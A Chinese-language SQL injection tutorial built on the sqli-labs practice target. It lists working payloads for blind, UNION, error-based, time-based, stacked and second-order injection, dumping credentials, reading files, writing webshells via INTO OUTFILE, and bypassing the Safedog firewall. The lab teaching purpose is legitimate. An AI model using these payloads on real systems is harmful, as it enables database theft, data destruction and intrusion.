免责声明
阅读前请先熟读《网络安全法》相关内容,以下知识点仅供学习使用,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,文章作者不承担任何责任。
了解SQL注入
SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。比如查询、删除,增加,修改数据等等,如果数据库的用户权限足够大,还可以对操作系统执行操作。
SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤。SQL注入是针对数据库、后台、系统层面的攻击!
熟悉数据库
目前市面上使用MySql的数量还是比较多的,所以佩剑以MySql举例,所以先了解点MySQL有关的知识。在MySQL5.0之后添加了 information_schema 的数据库,该数据库中的表都是只读的,不能进程正删改查,实际上就是一个视图,不是基本的表结构。无法被删除。
DROP DATABASE information_schema
> 1044 - Access denied for user 'root'@'localhost' to database 'information_schema'
特别要注意的是数据库中的注释符,在后续的SQL注入过程中,绕过安全狗有特别重要的作用,需要灵活组合搭配
mysql中注释符:# 、/**/ 、 --
information_schema数据库中三个很重要的表:
information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名
information_schema.tables:该数据表存储了mysql数据库中的所有数据表的表名
information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名
Mysql常用函数
- version():查询数据库的版本
- user():查询数据库的使用者
- database():数据库
- system_user():系统用户名
- session_user():连接数据库的用户名
- current_user:当前用户名
- load_file():读取本地文件
- @@datadir:读取数据库路径
- @@basedir:mysql安装路径
- @@version_complie_os:查看操作系统
- ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97
- length(str) : 返回给定字符串的长度,如 length("string")=6
- substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in"
- substr()、stbstring()、mid() 三个函数的用法、功能均一致
- concat(username):将查询到的username连在一起,默认用逗号分隔
- concat(str1,'',str2):将字符串str1和str2的数据查询到一起,中间用连接
- group_concat(username) :将username数据查询在一起,用逗号连接
- limit 0,1:查询第1个数,limit 1,1: 查询第2个数
以上是在SQL注入过程中经常用到的,如果还需要了解其他的函数可以自行百度
SQL注入的分类
注入点类型分类
- 数字类型
- 字符串类型
搜索型
提交方式分类
- GET
- POST
- COOKIE
HTTP头
获取信息的方式分类
- 布尔盲注
- 时间盲注
- 报错注入
- 联合查询
- 堆查询注入
判断是否存在SQL注入
一个网站有特别多页面,怎么判断是否存在SQL注入。可以通过现成的工具例如:AWVS、AppScan、Nessus、SqlMap等。也可以在GitHub上子域名扫描器,把整个站所有子域名都扫描出来,然后再逐步扫描漏洞【扫描的网站一定要在得到许可后,才能扫描】。
但是有的时候工具不是万能的,工具只是大面积的扫描,有很多时候还是需要手动判断是否有SQL注入漏洞。下面以MySql 5.5版本为例,熟悉SQL注入流程,积累经验。
盲注:服务器没有错误回显时完成的注入攻击。服务器没有错误回显,无法判断是否成功注入
所以需要找到一个方面让服务器报错
- 先加单引号'、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。
- 在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。
有时候通过简单的条件语句比如 and 1=2 是无法看出异常,就需要时间盲注
环境准备
下面我们搭建sqli-labs靶机验证个个注入方法
我把靶机安装在Centos7虚拟机上,安装的时候需要安装小皮【phpstudy】 官网教程已经非常详细就不赘述了。强调的一点就是sqli-labs用的php框架比较老,需要安装5.x版本的php,如果是默认的7.x版本启动会报错,安装5.5+mysql默认用户名密码即可
修改sqli-labs配置文件
输入地址就能访问
点击Setup/reset Database for labs 链接自动靶场数据脚本插入到数据库中
初学可以改造一下靶场的代码,让sql显示到页面上,能更好的理解sql输入的全过程。当然直接安装到本地会更好操作一下,看个人习惯
这样就可以使用了Boolean盲注【耗时】
我们先以Less-5举例,首先代码改造一下,将SQL打在页面上,可以更方便我们理解
我用的是火狐浏览器,可以在扩展里安装Max HackBar【免费】,在使用的过程中会很方便。
当我们输入http://127.0.0.1/sqli/Less-5/...' 我们得到下面的页面
由此可以看出代码把 id 当成了字符来处理,而且后面还有一个限制显示的行数 limit 0,1 。当我们输入的语句正确时,就显示You are in.... 当我们输入的语句错误时就报出 SQL 语句错误。
根据以上的信息我们可以猜出sql的大概写法$sql="SELECT * FROM 表 WHERE id='$id' LIMIT 0,1"; //sql查询语句 $result=mysql_query($sql);
所以可以通过一些构造语句猜想我们的判断,盲注一般用到的函数有substr() 、length(),exists()、concat()、ascii()等。
1、判断数据库类型
这个例子已经告诉我们数据类型,在不知道什么数据库的,需要通过exists()函数判断是什么数据库
//判断是否是 Mysql数据库 http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from information_schema.tables) # //判断是否是 access数据库 http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from msysobjects) # //判断是否是 Sqlserver数据库 http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from sysobjects) #
看哪个不报错就能判断是什么数据库,后面的#号是注释掉后面的sql
对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作。
information_schema.tables存储了数据表的元数据信息,下面对常用的字段进行介绍:- table_schema: 记录数据库名
- table_name: 记录数据表名
- table_rows: 关于表的粗略行估计
data_length : 记录表的大小(单位字节)
2、判断当前数据库名
1:判断当前数据库的长度,利用二分法 http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>5 //正常显示 http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>10 //不显示任何数据 http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>7 //正常显示 http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>8 //不显示任何数据 大于7正常显示,大于8不显示,所以可知当前数据库长度为 8 2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断 //判断数据库的第一个字符 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),1,1))>100 //判断数据库的第二个字符 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),2,1))>100 ........... 由此可以判断出当前数据库为 security
3、判断当前数据库中的表
http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from admin) //猜测当前数据库中是否存在admin表 1:判断当前数据库中表的个数 // 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4 http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(table_name) from information_schema.tables where table_schema=database())>5 # 2:判断每个表的长度 //判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 3:判断每个表的每个字符的ascii值 //判断第一个表的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # //判断第一个表的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 # ......... 由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
4、判断当前数据库中的表
http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select username from admin) //猜测是否存在username字段 1:判断表中字段的个数 //判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的 http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(column_name) from information_schema.columns where table_name='users')>5 # 2:判断字段的长度 //判断第一个字段的长度 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 //判断第二个字段的长度 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 3:判断字段的ascii值 //判断第一个字段的第一个字符的长度 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 //判断第一个字段的第二个字符的长度 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 ........... 由此可判断出users表中存在 id、username、password 字段
5、判断字段中的数据
上面方法已经知道users中有三个字段 id 、username 、password,现在爆出每个字段的数据 1: 判断数据的长度 // 判断id字段的第一个数据的长度 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 0,1))>5 // 判断id字段的第二个数据的长度 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 1,1))>5 2:判断数据的ascii值 // 判断id字段的第一个数据的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),1,1))>100 // 判断id字段的第一个数据的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),2,1))>100 ...........
union注入
union联合查询适用于有显示列的注入,可以通过order by来判断当前表的列数
我们用Less-2举例http://127.0.0.1/sqli/Less-2/?id=1 order by 4 #
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1 ,2 ,3 #
http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 union select 1 ,2 ,3 #
也可以写成错误数据and 1=2
这时候需要一些函数来帮我们查询重要信息version() :数据库的版本 database() :当前所在的数据库 user() :数据库的用户 current_user() : 当前用户名 system_user() : 系统用户名 session_user() :连接到数据库的用户名 @@basedir : 数据库的安装目录 @@datadir :数据库文件的存放目录
// 获得所有的数据库 http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata# // 获得所有的表 http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables# // 获得所有的列 http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns# #获取当前数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据) http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(password),3 from users #
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(id,'**',username,'**',password),3 from users #
当有显示列的时候,可以利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取;
文件读写
union注入读取文件
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,load_file("D:/1.txt")#
union写入文件
union注入写入一句话木马 into outfile 和 into dumpfile 都可以
http://127.0.0.1/sqli/Less-1/?id=-1 union select 1,2,'' into outfile 'D:/1.php' #
报错注入
页面上没有显示位,但是需要输出 SQL 语句执行错误信息
ExtractValue报错注入
EXTRACTVALUE (XML_document, XPath_string)
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
第二个参数:XPath_string (Xpath 格式的字符串).
作用:从目标 XML 中返回包含所查询值的字符串
// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-2/?id=-1 and extractvalue(1,concat(0x7e,database(),0x7e))#
UpdateXml报错注入
UpdateXml 函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码!
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
第二个参数:XPath_string (Xpath 格式的字符串)
第三个参数:new_value,String 格式,替换查找到的符合条件的数据
// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
时间盲注
Timing Attack注入,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。
在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。利用Benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功.
http://127.0.0.1/sqli/Less-1/?id=1 and sleep(5)#
REGEXP正则匹配
正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本
http://127.0.0.1/sqli/Less-1/?id=1 and 1=(select 1 from information_schema.tables where table_schema=security and table_name regexp ^[a-z] limit 0,1) #
堆叠注入
在SQL中,分号;是用来表示一条sql语句的结束,在 ; 结束后继续构造下一条语句继续执行就是迭代注入。【目前个人发现只有mysql好用】
Select * from user where name='root';DROP database user;
二次注入
二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
以Less-24为例
新建一个账号
新建的用户名为:admin'# 密码为:123456
数据已经插入
登录修改密码
将admin密码修改了
为什么会这样呢?我们查看修改密码页面源代码,发现这里存在明显的SQL注入漏洞
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
当我们提交用户名 admin'# 修改密码为 aaaaaa 的时候,这条SQL语句就变成了下面的语句了。#把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaa
$sql = "UPDATE users SET PASSWORD='aaaaaa' where username='admin'#' and password='$curr_pass' ";
User-Agent注入
访问 http://127.0.0.1/sqli/Less-18/ 我们先抓包
修改其User-Agent为
and extractvalue(1,concat(0x7e,database(),0x7e))and 1=1 #
页面将当前的数据库显示出来了
绕过安全狗
环境准备
在安装安全狗之前,一定要先做好安装apache2.4这一项
安全狗配置
下载最新4.0 安全狗
1=1绕过
首先这里的话是尝试一个1=1
更换成true=true进行尝试 还是不行
尝试用/*/来充当注释符 依然不行
发现很多都可以充当空格来进行绕过,我们随意挑选一个进行尝试,构造payload如下
http://127.0.0.1/sqli/Less-2/?id=1 and/*////*/1 #
order by 绕过
http://127.0.0.1/sqli/Less-2/?id=1 order/*////*/by 3 --+
联合查询绕过
http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,3--+
各种注释绕过
http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,database/*///-*/()--+
SQL注入的预防
- 可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。
- 使用正则表达式过滤
- 待更新